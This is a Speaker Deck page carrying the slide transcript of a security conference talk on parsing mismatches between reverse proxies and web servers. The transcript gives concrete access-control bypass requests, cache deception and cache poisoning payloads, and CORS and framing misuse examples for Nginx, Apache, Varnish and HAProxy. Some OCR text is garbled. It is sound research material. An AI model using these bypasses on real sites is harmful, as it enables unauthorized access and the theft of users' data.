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Reverse proxies & Inconsistency

https://2018.zeronights.ru/en/reports/reverse-proxies-inconsistency/ Modern websites are
growing more complex with different reverse proxies and balancers covering them. They are used
for various purposes: request routing, caching, putting additional headers, restricting access. In
other words, reverse proxies must both parse incoming requests and modify them in a particular
way. However, path parsing may turn out to be quite a challenge due to mismatches in the parsing
of different web servers. Moreover, request converting may imply a wide range of different
consequences from a cybersecurity point of view. | have analyzed different reverse proxies with
different configurations, the ways they parse requests, apply rules, and perform caching. In this
talk, I will both speak about general processes and the intricacies of proxy operation and
demonstrate the examples of bypassing restrictions, expanding access to a web application, and
new attacks through the web cache deception and cache poisoning.

[image: Avatar for GreenDog]

GreenDog

November 21, 2018

More Decks by GreenDog

See All by GreenDog
How to break SAML if | have paws?


https://2018.zeronights.ru/en/reports/reverse-proxies-inconsistency/
https://secure.gravatar.com/avatar/0eb5ff24722856be0e9c4f66faf363be?s=128
https://speakerdeck.com/greendog
https://speakerdeck.com/greendog
https://speakerdeck.com/greendog/how-to-break-saml-if-i-have-paws

[ [image: Avatar for GreenDog] greendog J(https://speakerdeck.com/greendog)
1

3k

Weird proxies/2 and a bit of magic

[ [image: Avatar for GreenDog] greendog ]J(https://speakerdeck.com/greendog)
3

10k

MITM Attacks on HTTPS: Another Perspective

[ [image: Avatar for GreenDog] greendog 1(https://speakerdeck.com/greendog)
2

890

Deserialization vulnerabilities

[ [image: Avatar for GreenDog] greendog J(https://speakerdeck.com/greendog)
1

1.1k

Other Decks in Technology

See All in Technology
[
[ 2026] Al Al -

1(https://speakerdeck.com/kkOn/siroobixia-ji-ri2026-tiyatutosuruaikara-zuo-ye-suruaihe-shi-
warefang-nobian-hua-to-sonoli-ce-deqi-kiteirukoto)

[ [image: Avatar for kkOn] kkOn J(https://speakerdeck.com/kkOn)
0
1.6k

[ [image: Avatar for Recruit] recruitengineers J(https://speakerdeck.com/recruitengineers)
PRO

3

550

Al Al

[ [image: Avatar for Atsushi Nakatsugawa] moongift J(https://speakerdeck.com/moongift)
PRO

0


https://secure.gravatar.com/avatar/0eb5ff24722856be0e9c4f66faf363be?s=24
https://speakerdeck.com/greendog/2-and-a-bit-of-magic
https://secure.gravatar.com/avatar/0eb5ff24722856be0e9c4f66faf363be?s=24
https://speakerdeck.com/greendog/mitm-attacks-on-https-another-perspective
https://secure.gravatar.com/avatar/0eb5ff24722856be0e9c4f66faf363be?s=24
https://speakerdeck.com/greendog/deserialization-vulnerabilities
https://secure.gravatar.com/avatar/0eb5ff24722856be0e9c4f66faf363be?s=24
https://speakerdeck.com/c/technology
https://secure.gravatar.com/avatar/2b5bfc483194ca3ac6365926bc9be663?s=24
https://speakerdeck.com/recruitengineers/fy2026_bootcamp_sato
https://secure.gravatar.com/avatar/85da685d91fda190e2e3162d0de248a4?s=24
https://speakerdeck.com/pro?utm_campaign=PRO&utm_medium=web&utm_source=user_pro_badge
https://speakerdeck.com/moongift/aiqu-dong-kai-fa-hage-ren-ji-karatimuzhan-he-zu-zhi-teaiwoshi-ikonasutamenoshi-jian-she-ji
https://secure.gravatar.com/avatar/4cafe6a1c6287d64d7252279eeeffa94?s=24
https://speakerdeck.com/pro?utm_campaign=PRO&utm_medium=web&utm_source=user_pro_badge

480
20260608_Codex _
[ [image: Avatar for NobuakiOshiro] doradoraQ9 ](https://speakerdeck.com/doradora09)
PRO

0

780

[ [image: Avatar for ]y_seral5 ](https://speakerdeck.com/y_sera15)
0
110

[ [image: Avatar for ] masuda220 ](https://speakerdeck.com/masuda220)
PRO
17
6.6k
20260804_Q4AzureUpdateBite_FabricDataAgent pdf
[ [image: Avatar for matayuuu] matayuuu ]J(https://speakerdeck.com/matayuuu)
1
110
CEDEC2026 Cygames Academia
[ [image: Avatar for Cygames, Inc.] cygames ](https://speakerdeck.com/cygames)
PRO
0
530
Redmine 7.0 0SC2026
[ [image: Avatar for MAEDA Go] vividtone ]J(https://speakerdeck.com/vividtone)
1
200
FORENSIA: LLM
[ [image: Avatar for S.Nakano] sumeshi ]J(https://speakerdeck.com/sumeshi)
2
280

Agent Kaggle /kaggle-in-the-agentic-era


https://speakerdeck.com/doradora09/20260608-codexnoke-neng-xing-nonhurokuramaxiang-ke-da-cheng-zhui-ji
https://secure.gravatar.com/avatar/bc3d005a52243d2151ef2bc046464e0c?s=24
https://speakerdeck.com/pro?utm_campaign=PRO&utm_medium=web&utm_source=user_pro_badge
https://speakerdeck.com/y_sera15/homuraboshao-jie
https://secure.gravatar.com/avatar/719e6bde9fbc5bf00249d2477c73fbc5?s=24
https://speakerdeck.com/masuda220/jin-kosowen-kitaisohutoueashe-ji-domeinqu-dong-she-ji-zai-ru-men
https://secure.gravatar.com/avatar/8f84b7d8869ef6005d89b378e8661f7c?s=24
https://speakerdeck.com/pro?utm_campaign=PRO&utm_medium=web&utm_source=user_pro_badge
https://speakerdeck.com/matayuuu/20260804-q4azureupdatebite-fabricdataagentnojing-du-wogao-merushe-ji
https://secure.gravatar.com/avatar/055723a928f4ab8b53baac1962ef63b9?s=24
https://speakerdeck.com/cygames/cygames_202607_cedec2026_02
https://speakerdeck.com/rails/active_storage/representations/redirect/eyJfcmFpbHMiOnsiZGF0YSI6NzQyMzEyLCJwdXIiOiJibG9iX2lkIn19--79c11d4c6a736302463ad65244e1053a62bdbfa4/eyJfcmFpbHMiOnsiZGF0YSI6eyJmb3JtYXQiOiJwbmciLCJyZXNpemVfdG9fZmlsbCI6WzI0LDI0XX0sInB1ciI6InZhcmlhdGlvbiJ9fQ==--924ecf2834d46e1be7416cc0ef8ce19d4bbdebbf/SpeakerDeck_%E3%82%A2%E3%82%A4%E3%82%B3%E3%83%B3.png
https://speakerdeck.com/pro?utm_campaign=PRO&utm_medium=web&utm_source=user_pro_badge
https://speakerdeck.com/vividtone/redmine-7-dot-0-new-features-digest-edition
https://secure.gravatar.com/avatar/3c80fe933f2d692f6a950d500f6377b7?s=24
https://speakerdeck.com/sumeshi/forensia-rokarullmhuorenzitukuhanesu
https://secure.gravatar.com/avatar/8a60e7a300424e49ec2094ffd820b054?s=24
https://speakerdeck.com/upura/kaggle-in-the-agentic-era

[ [image: Avatar for Shotaro Ishihara] upura ]J(https://speakerdeck.com/upura)
1
650
SLO
[ [image: Avatar for kaita] z63d ]J(https://speakerdeck.com/z63d)
5
2.1k

Featured

See All Featured
The SEO Collaboration Effect

[ [image: Avatar for Kristina Bergwall] kristinabergwall1 ]
(https://speakerdeck.com/kristinabergwall1)

1

520

Darren the Foodie - Storyboard

[ [image: Avatar for Kevinho.art] khoart J(https://speakerdeck.com/khoart)
PRO

3

3.5k

Believing is Seeing

[ [image: Avatar for Spiro Bolos] oripsolob J(https://speakerdeck.com/oripsolob)
1

180

[

[RailsConf 2023] Rails as a piece of cake
](https://speakerdeck.com/palkan/railsconf-2023-rails-as-a-piece-of-cake)

[ [image: Avatar for Vladimir Dementyev] palkan J(https://speakerdeck.com/palkan)
59

6.9k

Google's Al Overviews - The New Search

[ [image: Avatar for Barry Adams] badams ](https://speakerdeck.com/badams)
0

1.1k


https://secure.gravatar.com/avatar/b1cc148711c6a37a5c922b6e72a4ad52?s=24
https://speakerdeck.com/z63d/about-how-the-new-slo-is-fitting-in-nicely
https://speakerdeck.com/rails/active_storage/representations/redirect/eyJfcmFpbHMiOnsiZGF0YSI6MTU0MTEyLCJwdXIiOiJibG9iX2lkIn19--e9dff0399a2337f00f182e48e9e9dba550f68200/eyJfcmFpbHMiOnsiZGF0YSI6eyJmb3JtYXQiOiJqcGciLCJyZXNpemVfdG9fZmlsbCI6WzI0LDI0XX0sInB1ciI6InZhcmlhdGlvbiJ9fQ==--dcc78b2290da0fc746e1bfe817edcd08056147b6/IMG_1034.jpg
https://speakerdeck.com/p/featured
https://speakerdeck.com/kristinabergwall1/the-seo-collaboration-effect
https://secure.gravatar.com/avatar/ebbb8b31502fbaac10ecc9c5bca51501?s=24
https://speakerdeck.com/khoart/space-taster
https://speakerdeck.com/rails/active_storage/representations/redirect/eyJfcmFpbHMiOnsiZGF0YSI6NjUwODkzLCJwdXIiOiJibG9iX2lkIn19--84b437976633cafb8053a92ffd2e96fe8c8c0750/eyJfcmFpbHMiOnsiZGF0YSI6eyJmb3JtYXQiOiJwbmciLCJyZXNpemVfdG9fZmlsbCI6WzI0LDI0XX0sInB1ciI6InZhcmlhdGlvbiJ9fQ==--924ecf2834d46e1be7416cc0ef8ce19d4bbdebbf/Screenshot%202026-03-04%20at%201.43.09%E2%80%AFPM.png
https://speakerdeck.com/pro?utm_campaign=PRO&utm_medium=web&utm_source=user_pro_badge
https://speakerdeck.com/oripsolob/believing-is-seeing
https://secure.gravatar.com/avatar/9d495f5d79fbbc9ddf3100da74f986c9?s=24
https://secure.gravatar.com/avatar/52cc8a838bf44a589d2572833b2dd1b9?s=24
https://speakerdeck.com/badams/googles-ai-overviews-the-new-search
https://secure.gravatar.com/avatar/00de107acb085244c96dbfe6da2b1560?s=24

Documentation Writing (for coders)

[ [image: Avatar for Carmen Chung] carmenintech ](https://speakerdeck.com/carmenintech)
77

5.4k

Gemini Prompt Engineering: Practical Techniques for Tangible Al Outcomes

[ [image: Avatar for Mfonobong Umondia] mfonobong ](https://speakerdeck.com/mfonobong)
2

480

CSS Pre-Processors: Stylus, Less & Sass

[ [image: Avatar for Bermon Painter] bermonpainter ]J(https://speakerdeck.com/bermonpainter)
360

30k

Applied NLP in the Age of Generative Al

[ [image: Avatar for Ines Montani] inesmontani J(https://speakerdeck.com/inesmontani)
PRO

4

2.4k

sira's awesome portfolio website redesign presentation

[ [image: Avatar for ElsiraPIs] elsirapls ](https://speakerdeck.com/elsirapls)

0

320

Designing for Timeless Needs

[ [image: Avatar for Cassini Nazir] cassininazir J(https://speakerdeck.com/cassininazir)

1

430

Tell your own story through comics

[ [image: Avatar for letsgokoyo] letsgokoyo ](https://speakerdeck.com/letsgokoyo)

1

1k

Transcript

Reverse proxies & Inconsistency Aleksei "GreenDog" Tiurin


https://speakerdeck.com/carmenintech/documentation-writing-for-coders
https://secure.gravatar.com/avatar/61857dafbd287b3027c4dcea9008ad3c?s=24
https://speakerdeck.com/mfonobong/gemini-prompt-engineering-practical-techniques-for-tangible-ai-outcomes
https://speakerdeck.com/rails/active_storage/representations/redirect/eyJfcmFpbHMiOnsiZGF0YSI6NjIyMzkxLCJwdXIiOiJibG9iX2lkIn19--5cbe193d6e7c50710eb8ab78626ee4057e42cffd/eyJfcmFpbHMiOnsiZGF0YSI6eyJmb3JtYXQiOiJwbmciLCJyZXNpemVfdG9fZmlsbCI6WzI0LDI0XX0sInB1ciI6InZhcmlhdGlvbiJ9fQ==--924ecf2834d46e1be7416cc0ef8ce19d4bbdebbf/YTProfile%20picture.png
https://speakerdeck.com/bermonpainter/css-pre-processors-stylus-less-and-sass
https://speakerdeck.com/rails/active_storage/representations/redirect/eyJfcmFpbHMiOnsiZGF0YSI6MzIyNzgsInB1ciI6ImJsb2JfaWQifX0=--0a08b9ea50b78202a903b729cdf0585ed57d745f/eyJfcmFpbHMiOnsiZGF0YSI6eyJmb3JtYXQiOiJqcGciLCJyZXNpemVfdG9fZmlsbCI6WzI0LDI0XX0sInB1ciI6InZhcmlhdGlvbiJ9fQ==--dcc78b2290da0fc746e1bfe817edcd08056147b6/Bermon-Painter---Profile---Square.jpg
https://speakerdeck.com/inesmontani/applied-nlp-in-the-age-of-generative-ai
https://speakerdeck.com/rails/active_storage/representations/redirect/eyJfcmFpbHMiOnsiZGF0YSI6MjkwMDgsInB1ciI6ImJsb2JfaWQifX0=--32562a32b00d456c251338e2bbab3b3a7c1775bf/eyJfcmFpbHMiOnsiZGF0YSI6eyJmb3JtYXQiOiJqcGciLCJyZXNpemVfdG9fZmlsbCI6WzI0LDI0XX0sInB1ciI6InZhcmlhdGlvbiJ9fQ==--dcc78b2290da0fc746e1bfe817edcd08056147b6/profile_ines.jpg
https://speakerdeck.com/pro?utm_campaign=PRO&utm_medium=web&utm_source=user_pro_badge
https://speakerdeck.com/elsirapls/siras-awesome-portfolio-website-redesign-presentation
https://secure.gravatar.com/avatar/56c84e8d01c873962f3ddd937c6a8f5a?s=24
https://speakerdeck.com/cassininazir/designing-for-timeless-needs-a72bb8c4-c96b-47cc-8598-36af0340e28e
https://secure.gravatar.com/avatar/4631d364d59bd9d045acf046a0ce1cfe?s=24
https://speakerdeck.com/letsgokoyo/tell-your-own-story-through-comics
https://secure.gravatar.com/avatar/d38056617929476906141e6a157e0045?s=24
https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_0.jpg

About me * Web security fun * Security researcher at

Acunetix « Pentester » Co-organizer Defcon Russia 7812 « @antyurin

"Reverse proxy" - Reverse proxy - Load balancer - Cache

proxy - ... - Back-end/Origin

"Reverse proxy"

URL http://www.site.com/long/path/here.php?query=111#fragment http://w
ww.site.com/long/path;a=1?query=111#fragment + path parameters

Parsing GET /long/path/here.php?query=111 HTTP/1.1 GET /long/path/here.ph
p?query=111#fragment HTTP/1.1 GET anything_here HTTP/1.1

GET /index.php[0x..] HTTP/1.1

URL encoding % + two hexadecimal digits a -> %61

A-> %41 . -> %2e / -> %2f

Path normalization /long/../path/here -> /path/here /long/./path/here -> /lon
g/path/here /long//path/here ->

/long//path/here -> /long/path/here /long/path/here/.. -> /long/path/ -> /long/path/here/..

Inconsistency - web server - language - framework - reverse

proxy - ... - + various configurations /images/1.jpg/..//../12.jpg -> /2.jpg (Nginx) -> /images/2.jpg
(Apache)

Reverse proxy - apply rule after preprocessing? /path1/ == /Path1/
==/p%61th1/ - send processed request or initial? /p%61th1/ -> /path1/
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Reverse proxy Request - Route to endpoint /app/ - Rewrite

path/query - Deny access - Headers modification - ... Response - Cache - Headers modification -
Body modification - ... Location(path)-based

Server side attacks We can send it: GET //test/../%2e%2e%2f<>.)pG?a1="&?z#/
admin/ HTTP/1.1

Host: victim.com

Client side attacks <img src="//test/../%2e%2e%2f<>.JpG?a1="&?z#/admin/">
GET //..%2f%3C%3E.jpg?a1=%22&?z HTTP/1.1 Host: victim.com

e Browser parses, decodes and normalizes. - Differences between browsers - Doesn’'t normalize
%2f (/..%2f -> /..%2f) - <> "' - URL-encoded - Multiple ? in query

Possible attacks Server-side attacks: - Bypassing restriction (403 for /app/)

e Misrouting/Access to other places (/app/..;/another/path/) Client-side attacks: - Misusing
features (cache) - Misusing headers modification

Nginx - urldecodes/normalizes/applies - /path/.. -> / - doesn’t know

path-params /path;/ - //// -> / - Location - case-sensitive - # treated as fragment

Nginx as rev proxy. C1 - Configuration 1. With trailing

slash location / { proxy_pass http://origin_server/; } - resends control characters and >0x80 as is -
resends processed - URL-encodes path again - doesn't encode ' " <>

XSS? - Browser sends: http://victim.com/path/%3C%22xss_here%22%3E/ - Ngi
nx (reverse proxy) sends

to Origin server: http://victim.com/path/<"xss_here">/

Nginx as rev proxy. C2 - Configuration 2. Without trailing
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slash location / { proxy_pass http://origin_server; } - urldecodes/normalizes/applies, - but sends
unprocessed path

Nginx + Weblogic - # is an ordinary symbol for

Weblogic Block URL: location /Login.jsp GET /#/../Login.jsp HTTP/1.1 Nginx: / (after parsing), but
sends /#/../Login.jsp Weblogic: /Login.jsp (after normalization)

Nginx + Weblogic - Weblogic knows about path-parameters (;) -

there is no path after (;) (unlike Tomcat's /path;/../path2) location /to_app { proxy_pass
http://weblogic; } /any_path;/../to_app Nginx:/to_app (normalization), but sends
/any_path;/../to_app Weblogic: /any_path (after parsing)

Nginx. Wrong config - Location is interpreted as a prefix

match - Path after location concatenates with proxy_pass - Similar to alias trick location /to_app {
proxy_pass http://server/app/; } /to_app../other_path Nginx: /to_app../ Origin: /app/../other_path

Apache - urldecodes/normalizes/applies - doesn’t know path-params /path;/ -
Location

e case-sensitive - %, # - 400 - %2f - 404 (AllowEncodedSlashes Off) - ///path/ -> /path/, but
/path1//../path2 -> /path1/path2 - /path/.. -> / - resends processed

Apache as rev proxy. C1 - Configurations: ProxyPass /path/ http://origin_serve
r/

<Location /path/> ProxyPass http://origin_server/ </Location> - resends processed - urlencodes
path again - doesn't encode'

Apache and // - <Location "/path"> and ProxyPass /path includes:

e /path, /path/, /path/anything - //path////anything

[Apache and rewrite RewriteCond %{REQUEST_URI} A/protected/area [NC]
RewriteRule A.*$ -]
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[F,.L] No access? Bypasses: /aaa/..//protected/area -> //protected/area /protected//./area ->
/protected//area /Protected/Area -> /Protected/Area The same for <LocationMatch "A/protected/">

[Apache and rewrite RewriteEngine On RewriteRule /lala/(path)
http://origin_server/$1 [P,L] -]
(https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e221
5830/slide_25.jpg)

resends processed - something is broken - %3f -> 7 - /%2e%2e -> /.. (without normalization)

Apache and rewrite RewriteEngine On RewriteCond "%{REQUEST_URI}" ".\.gif
$" RewriteRule "/(.)"

"http://origin/$1" [P,L] Proxy only gif? /admin.php%3F.gif Apache: /admin.php%3F.gif After Apache:
/admin.php?.gif

Nginx + Apache location /protected/ { deny all; return 403;

} + proxy_pass http://apache (no trailing slash) /protected//../ Nginx: / Apache: /protected/

Varnish - no preprocessing (parsing, urldecoding, normalization) - resends un
processed

request - allows weird stuff: GET li<@>?lala=#anything HTTP/1.1 - req.url is unparsed path+query -
case-sensitive

Varnish Misrouting: if (req.http.host == "sport.example.com") { set req.http.h
ost =

"example.com"; set req.url = "/sport" + req.url; } Bypass: GET /../admin/ HTTP/1.1 Host:
sport.example.com

Varnish if(req.method == "POST" | | req.url ~ "A/wp-login.php" | | req.url

~ "Nwp-admin") { return(synth(503)); } No access?? PoST /wp-login%2ephp HTTP/1.1 Apache+PHP:
PoST == POST
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Haproxy/nuster - no preprocessing (parsing, urldecoding, normalization) - res
ends unprocessed

request - allows weird stuff: GET li<@>?lala=#anything HTTP/1.1 - path_* is path (everything before
?) - case-sensitive

Haproxy/nuster acl restricted_page path_beg /admin block if restricted_page!
network_allowed path_beg

includes /admin* No access? Bypasses: /%61dmin

Haproxy/nuster acl restricted_page path_beg,url_dec /admin block if restricte
d_page 'network_allowed url_dec

urldecodes path No access? url_dec sploils path_beg path_beg includes only /admin Bypass:
/admin/

Varnish or Haproxy Host check bypass: if (req.http.host == "safe.example.co
mll

) { set req.backend_hint = foo; } Only "safe.example.com" value? Bypass using (malformed)
Absolute-URI: GET httpcococo://unsafe-value/path/ HTTP/1.1 Host: safe.example.com

Varnish GET httpcoco://unsafe-value/path/ HTTP/1.1 Host: safe.example.com
Varnish: safe.example.com, resends whole

request Web-server(Nginx, Apache, ...): unsafe-value - Most web-server supports and parses
Absolute-URI - Absolute-URI has higher priority that Host header - Varnish understands only http://
as Absolute-URI - Any text in scheme (Nginx, Apache) tratata://unsafe-value/

Client Side attacks If proxy changes response/uses features for specific

paths, an attacker can misuse it due to inconsistency of parsing of web-server and reverse proxy
server.
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Misusing headers modification location /iframe_safe/ { proxy_pass http://origi
n/iframe_safe/; proxy_hide_header "X-Frame-Options";

} location / { proxy_pass http://origin/; } - only /iframe_safe/ path is allowed to be framed - Tomcat
sets X-Frame-Options deny automatically

Misusing headers modification Nginx + Tomcat: <iframe src="http://victim/ifr
ame_safe/..;/any_other_path”> Browser: http://victim/iframe_safe/..;/any_oth
er_path

Nginx: http://victim/iframe_safe/..;/any_other_path Tomat: http://victim/any_other_path

Misusing headers modification location /api_cors/ { proxy_pass http://origin; i
f ($request_method
~* "(OPTIONS | GET | POST)") { add_header Access-Control-Allow-Origin $http_origin; add_header

"Access-Control-Allow-Credentials" "true"; add_header "Access-Control-Allow-Methods" "GET,
POST"; } - Quite insecure, but - if http://origin/api_cors/ requires token for interaction

Misusing headers modification Attacker’s site: fetch("http://victim.com/api_cors%2f%2e%?2e"... fetc
h("http://victim.com/any_path;/../api_cors/"... fetch("http://victim.com/api_cors/..;/any_path"... ... Ng
inx:

/api_cors/ Origin: something else (depending on implementation)

Caching - Who is caching? browsers, proxy... - Cache-Control in

response (Expires) - controls what and where and for how long a response can be cached -
frameworks sets automatically (but not always!) - public, private, no-cache (no-store) - max-age, ... -
Cache-Control: no-cache, no-store, must-revalidate - Cache-Control: public, max-age=31536000 -
Cache-Control in request - Nobody cares? :)

Implementation - Only GET - Key: Host header + unprocessed

path/query - Nginx: Cache-Control, Set-Cookie - Varnish: No Cookies, Cache-Control, Set-Cookie -
Nuster(Haproxy): everything? - CloudFlare: Cache-Control, Set-Cookie, extension-based(before ?) -
/path/index.php/.jpeg - OK - /path/index.jsp;.jpeg - OK

Aggressive caching - When Cache-Control check is turned off -


https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_37.jpg
https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_37.jpg
https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_38.jpg
https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_38.jpg
https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_38.jpg
https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_39.jpg
https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_39.jpg
https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_40.jpg
https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_40.jpg
https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_40.jpg
https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_41.jpg
https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_42.jpg
https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_43.jpg

*or CC is set incorrectly by web application (custom session?)

Misusing cache - Web cache deception - https://www.blackhat.com/docs/us-1
7/wednesday/us-17-Gil-Web-Cac he-Deception-Attack.pdf -

Force a reverse proxy to cache a victim’'s response from origin server - Steal user’s info - Cache
poisoning - https://portswigger.net/blog/practical-web-cache-poisoning - Force a reverse proxy to
cache attacker’s response with malicious data, which the attacker then can use on other users -
XSS other users

Misusing cache - What if Aggressive cache is set for

specific path /images/? - Web cache deception - Cache poisoning with session

Path-based Web cache deception location /images { proxy_cache my_cache; pr
oXy_pass

http://origin; proxy_cache_valid 200 302 60m; proxy_ignore_headers Cache-Control Expires; } Web
cache deception: - Victim: <img src="http://victim.com/images/..;/index.jsp"> - Attacker: GET
/images/..;/index.jsp HTTP/1.1

Cache poisoning with session nuster cache on nuster rule img

ttl 1d if { path_beg /img/ } Cache poisoning with session: - Web app has a self-XSS in
/account/attacker/ - Attacker sends /img/..%2faccount/attacker/ - Nuster caches response with XSS
- Victims opens /img/..%2faccount/attacker/ and gets XSS

Varnish sub vcl_recv { if (req.url ~ "\.(gif | jpg|jpeg|swf]|css|js)(\?.*|)$") { set

req.http.Cookie-Backup = req.http.Cookie; unset req.http.Cookie; } sub vcl_hash { if
(reqg.http.Cookie-Backup) { set req.http.Cookie = req.http.Cookie-Backup; unset req.http.Cookie-
Backup; }

Varnish sub vcl_backend_response { if (bereq.url ~ "\.(gif| jpg|jpeg|swf|css|js)
(\2.*)$") { set

beresp.ttl = 5d; unset beresp.http.Cache-Control; }
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Varnish if (bereq.url ~ "\.(gif| jpg|ipeg|swf|css|js)(\?.*)$") { Web cache decepti
on: <img

src="http://victim.com/admin.php?g=1&.jpeg?xxx"> Cache poisoning: - /account/attacker/?.jpeg?
XXX

- Known implementations - Headers: - CF-Cache-Status: HIT (MISS) -

X-Cache-Status: HIT (MISS) - X-Cache: HIT (MISS) - Age: \d+ - X-Varnish: \d+ \d+ - Changing values in
headers/body - Various behaviour for cached/passed (If-Range, If-Match, ...) What is cached?

Conclusion - Inconsistency between reverse proxies and web servers -

Get more access/bypass restrictions - Misuse reverse proxies for client-side attacks - Everything is
trickier in more complex systems - Checked implementations:
https://github.com/GrrrDog/weird_proxies
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